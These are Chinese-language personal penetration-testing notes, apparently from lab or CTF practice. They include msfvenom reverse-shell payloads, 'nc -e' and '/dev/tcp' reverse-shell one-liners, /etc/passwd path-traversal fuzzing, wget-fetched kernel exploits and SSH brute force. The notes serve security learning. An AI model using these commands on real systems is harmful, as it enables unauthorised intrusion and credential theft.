渗透工具及其知识库(个人笔记)
1.IP搜寻
查看kali网段: ip addr 、 ifconfig
namp:nmap -sP xxx.xxx.xxx.0/24
netdiscover:netdiscover xxx.xxx.xxx.0/24
arp:arp-scan -l
2.端口扫描
粗略扫描:nmap <IP>
深度扫描:
nmap -A -p- <IP>
nmap -T4 -A -v <IP>
3.指纹探测
whatweb <url>
cmseek -u <url>
4.目录扫描
gobuster
gobuster dir -u <url> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt -b '403,404'
dirb
dirb <url>
dirb <url> -x .php,.zip,.txt,.html 等
5.参数探测
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://192.168.232.128/index.php?FUZZ=index.php
wfuzz -c -u http://192.168.110.131/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt -H "Cookie:PHPSESSID=l5r7estpbj5rrcfapfdhun8v6p"
6.msf木马文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.232.152 LPORT=7777 -o mshell.php
修改上述的php,生成不同的文件马
生成java jsp木马:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war > breach.war
木马使用
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 4444
run
linux
/etc/passwd:存放相关用户信息
/etc/knock.conf:ssh保护机制knock的配置文件
/etc/*-release:查看操作系统
sudo -l
查看可以以root权限执行的文件和命令
查看内核
uname -a、uname -rms、hostnamectl
find
find / -name "xxx" 2>/dev/null
su
su user
ls -a
查看所有文件及其相关权限
ssh
ssh user@ip
md5加密
md5加密
echo -n "ippsec" | md5sum
转为十六进制
echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 |tr -d ' ' |tr -d '\n'| od -An -t x1:管道 (|) 将 echo 输出的内容传递给 od(octal dump)命令。-An 参数表示不打印地址,-t x1 表示以十六进制形式输出每个字节。
| tr -d ' ':tr(translate)命令用于删除指定字符,这里的 -d ' ' 表示删除所有空格。
| tr -d '\n':再次使用 tr 命令删除所有的换行符(\n)。
openssl解密/加密
echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}key:密钥的十六进制转码
/etc/passwd的用户密码(admin)编译
openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密
kali批量处理指令
for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null; echo $i;done
python交互性shell
python -c 'import pty;pty.spawn("/bin/bash")'
反弹shell
nc -e /bin/bash 192.168.110.129 5555
bash -i >& /dev/tcp/192.168.232.128/1234 0>&1
exp查询
内核提权:searchsploit privilege | grep CentOS (管理系统)
searchexploit xxx
search xxx
内核提权.1
拿到了xxx.c
gcc编译并另存:gcc xxx.c -o yf
(未'shell'之前)msf upload:upload ~/yf ./yf
赋权:chmod +x yf
执行:./yf
内核提权.2
找到xxx.c
放在网站目录:cp xxx.c /var/www/html
kali开启apache服务:service apache2 start
wget下载:wget http:<kali ip>/xxx.c
赋权:chmod 777 xxx.c
gcc编译:gcc xxx.c -o xxx
执行:./xxx
./keystore结合pcap(.p12)文件
keytool -importkeystore -srckeystore <keystore的文件名> -destkeystore 文件名.p12 -deststoretype pkcs12 -srcalias tomcat
string
strings bill.png
knock敲门
knock 192.168.110.131 7469 8475 9842
端口监听
nc -lvp 5555
ssh密码爆破
medusa
medusa -M ssh -h 192.168.0.131 -u flag4 -P /usr/share/john/password.lst -e ns -F
hydra
echo 'flag4'>admin.txt
hydra -L admin.txt -P /usr/share/john/password.lst 192.168.0.131 ssh
相关文章:
渗透工具及其知识库(个人笔记)
1.IP搜寻 查看kali网段: ip addr 、 ifconfig namp:nmap -sP xxx.xxx.xxx.0/24 netdiscover:netdiscover xxx.xxx.xxx.0/24 arp:arp-scan -l 2.端口扫描 粗略扫描:nmap <IP> 深度扫描: …...
MongoDB的使用
一、Spring Boot集成MongoDB 1 引用依赖包 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-mongodb</artifactId></dependency> 2 配置文件配置mongodb资料 # MongoDB连接信息 spring.…...
labview中FP.isFrontmost不生效?
主GUI界面中调用子GUI程序FP.isFrontmost不生效? 如果主GUI程序使用“floating”,子GUI程序使用default动作,则子GUI无法打开到最前。子GUI程序只能使用“模态”才能置顶。 主GUI程序: 子GUI程序: 改正的方法很简单,…...
Vela-OS: 记录一个class层,处理MSC协议的bug
一、关于USC-MSC类设备驱动层,处理SCSI指令的代码逻辑问题 1. 源文件 \nuttx\drivers\usbdev\usbmsc_scsi.c 2. 问题描述 对于INQUIRY指令,长度一般是6个字节,cdblen字段嵌入在CBW数据包中,如下: 命令阶段的CBW数据包: 55 53 42 43 60 2a c0 8b 24 00 00 00 0x80 0x…...
跨框架探索:React Redux 和 Vuex 对比分析快速掌握React Redux
React Redux 和 Vuex 都是前端状态管理库,分别用于 React 和 Vue.js 框架。 它们都提供了一套规范的状态管理机制,帮助开发者更好地组织和管理应用状态。下面是它们的一些异同点: 相同点: 中心化状态管理:两者都提…...
第十五届蓝桥杯省赛C/C++大学B组真题及赛后总结
目录 个人总结 C/C 组真题 握手问题 小球反弹 好数 R 格式 宝石组合 数字接龙 爬山 拔河 编辑 再总结及后续规划 个人总结 第一次参加蓝桥杯,大二,以前都在在学技术,没有系统的学过算法。所以,还是花了挺多时间去备…...
【Qt踩坑】ARM 编译Qt5.14.2源码-QtWebEngine
1.下载源码 下载网站:Index of /new_archive/qt/5.14/5.14.2/single 2.QWebEngine相关依赖 sudo apt-get install flex libicu-dev libxslt-dev sudo apt-get install libssl-dev libxcursor-dev libxcomposite-dev libxdamage-dev libxrandr-dev sudo apt-get …...
SQL语法 case when语句用法讲解
CASE WHEN解释 : SQL中的CASE WHEN语句是一种条件表达式,它允许你根据不同的情况返回不同的值。CASE WHEN通常用于SELECT语句中,用于创建新的列,该列的值取决于其他列的值。CASE WHEN可以用于任何可以使用表达式的地方。 大致概…...
Project Euler_Problem 193_Few Repeated Digits_欧拉筛+容斥公式
解题思路:暴力搜索 代码: void solve() {ll i, j,k,x,y,z,p,q,u,v,l,l1;N 999966663333, NN 1024;//N 1000;double a, b, c,d;M.NT.get_prime_Euler(1000000);l M.NT.pcnt;for (i 1; i < l; i) {u M.NT.prime[i];v M.NT.prime[i 1];x u * …...
排序算法-基数排序
基数排序是一种非比较排序算法,它将待排序的数字按照位数进行排序。基数排序的思想是先按照个位数进行排序,然后按照十位数进行排序,接着按照百位数进行排序,以此类推,直到最高位排序完成。 基数排序的步骤如下&#x…...
ChatGPT在线网页版
ChatGPT镜像 今天在知乎看到一个问题:“平民不参与内测的话没有账号还有机会使用ChatGPT吗?” 从去年GPT大火到现在,关于GPT的消息铺天盖地,真要有心想要去用,途径很多,别的不说,国内GPT的镜像…...
5.SpringSpringBoot八股
Spring,Spring MVC,Spring Boot 之间什么关系? Spring就是整个Spring框架的整体,包含AOP、JDBC、Spring MVC等等模块 SpringBoot是Spring的精简版,它在Spring的基础上添加了自动装配、内置tomcat服务器等功能,使得代码量更少,同…...
0基础刷图论最短路 3(从ATcoder 0分到1800分)
AT最短路刷题3(本文难度rated 1200~ 1400) 题目来源:Atcoder 题目收集: https://atcoder-tags.herokuapp.com/tags/Graph/Shortest-Path (里面按tag分类好了Atcoder的所有题目,类似cf) &#x…...
k8s+docker一键安装过程
环境: k8s 1.20 docker 20.10 centos7.9 #docker安装 yum install -y epel-release yum install -y yum-utils yum-config-manager --add-repo https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo yum install -y docker-ce-20.10.6 docker-ce-cli-2…...
Python3+Appium+Android SDK+真机+实现app自动化测试-基于Red Hat7.9版本搭建环境及运行python脚本。
1、总体概述? 收费有收费的服务,那就是细致。Red Hat9.0自动化环境也有,需要的说一声。 1、实现在Red Ha/t Enterprise Linux7.9环境中搭建部署app自动化测试环境,提供详细步骤。 2、版本说明:jdk8/17+nodejs16/18/19/20/21+android sdk29+python3.9.18/3.11.1+appium1…...
深入理解MD5算法:原理、应用与安全
title: 深入理解MD5算法:原理、应用与安全 date: 2024/4/11 20:55:57 updated: 2024/4/11 20:55:57 tags: MD5算法数据安全哈希函数摘要算法安全漏洞SHA算法密码学 第一章:引言 导言 在当今数字化时代,数据安全和完整性变得至关重要。消息…...
架构师系列-搜索引擎ElasticSearch(三)- Java API
SpringBoot整合ES 搭建SpringBoot工程,引入ElasticSearch相关坐标 <!--引入es的坐标--><dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><versi…...
Ubuntu下配置Android NDK环境
Android-NDK的下载 下载Android-NDK wget -c http://dl.google.com/android/ndk/android-ndk-r10e-linux-x86_64.bin 执行bin文件(即解压) ./android-ndk-r10c-linux-x86_64.bin Android-NDK的配置 要想使用Android-NDK,还需要进行环境变量…...
使用 vue3-sfc-loader 加载远程Vue文件, 在运行时动态加载 .vue 文件。无需 Node.js 环境,无需 (webpack) 构建步骤
加载远程Vue文件 vue3-sfc-loader vue3-sfc-loader ,它是Vue3/Vue2 单文件组件加载器。 在运行时从 html/js 动态加载 .vue 文件。无需 Node.js 环境,无需 (webpack) 构建步骤。 主要特征 支持 Vue 3 和 Vue 2(参见dist/)仅需…...
stm32移植嵌入式数据库FlashDB
本次实验的程序链接stm32f103FlashDB嵌入式数据库程序资源-CSDN文库 一、介绍 FlashDB 是一款超轻量级的嵌入式数据库,专注于提供嵌入式产品的数据存储方案。与传统的基于文件系统的数据库不同,FlashDB 结合了 Flash 的特性,具有较强的性能…...
SQL Server UPDATE JOIN 实战指南:高效安全的跨表更新技术
1. 项目概述:为什么 UPDATE JOIN 是 SQL Server 里最常被低估的“数据缝合术”在真实业务场景里,数据库从来不是一张张孤立的表格,而是一张张彼此咬合的齿轮。你刚在客户表里把王建国的邮箱从wangold.com改成wangnew.com,销售系统…...
AI时代家庭教育新路径:脑能构建替代补课刷题的核心逻辑
一、传统家庭教育的失效困境AI全面进入教育领域,让知识获取变得愈发便捷,也让传统以补课、刷题、盯作业为核心的家庭教育模式彻底失效。光明网2025年调研显示,仅17%家庭靠传统补课提升孩子能力,68%优秀学生的核心优势的是自主规划…...
3步解锁SD-WebUI-Inpaint-Anything插件:自定义修复模型完全指南
3步解锁SD-WebUI-Inpaint-Anything插件:自定义修复模型完全指南 【免费下载链接】sd-webui-inpaint-anything Inpaint Anything extension performs stable diffusion inpainting on a browser UI using masks from Segment Anything. 项目地址: https://gitcode.…...
Taotoken API Key 的精细化管理与访问控制实践
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Taotoken API Key 的精细化管理与访问控制实践 在团队协作与多项目并行的开发环境中,大模型 API 密钥的管理往往成为一…...
标准库 vs HAL库:我该选哪个入门STM32?从新建工程步骤差异聊透你的第一个选择
标准库 vs HAL库:STM32开发库选择全维度指南 第一次接触STM32开发时,面对标准库和HAL库的选择,很多初学者都会陷入纠结。这两种开发方式在工程创建、代码风格、学习曲线等方面存在显著差异,直接影响后续开发效率和项目维护成本。…...
Unix架构详细介绍
Unix 是一种具有高度模块化和可扩展性的操作系统,其架构设计使其在多用户和多任务环境中表现出色。以下是 Unix 架构的详细介绍,包括其主要组成部分和功能。Unix 架构的组成部分Unix 的架构通常可以分为以下几个主要部分:内核(Ker…...
教育科技公司利用多模型API为学生提供个性化学习辅导方案
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 教育科技公司利用多模型API为学生提供个性化学习辅导方案 对于教育科技公司而言,构建一个能够理解并解答从小学数学到大…...
ChatGPT在教育领域的应用、挑战与未来展望:AI导师如何重塑教学
1. 项目概述:当AI导师走进课堂“ChatGPT在教育领域的应用、挑战与未来展望”这个标题,乍一看像是一篇学术论文的题目,但背后折射出的,是每一位教育工作者、学生乃至家长都在亲身经历的一场静默革命。作为一名长期关注技术与教育交…...
NumPy时间序列分析:10个高效单行代码技巧
1. 时间序列分析中的NumPy高效技巧在处理时间序列数据时,我们经常需要执行各种重复性操作,比如计算移动平均、检测异常值、创建预测特征等。许多分析师会不自觉地编写冗长的循环和复杂函数来完成这些任务,但实际上,使用NumPy的数组…...
【高炉炼铁领域炉温监测、预警、调控智能体设计与应用】~系列文章14:时序数据处理:捕捉温度的脉搏
第14期:时序数据处理:捕捉温度的脉搏 📈 时序数据 | 阅读时长:14分钟 | 难度:⭐⭐⭐⭐📌 引言 温度是时间的函数,时序数据是高炉最核心的数据类型! 时序数据处理的关键挑战ÿ…...
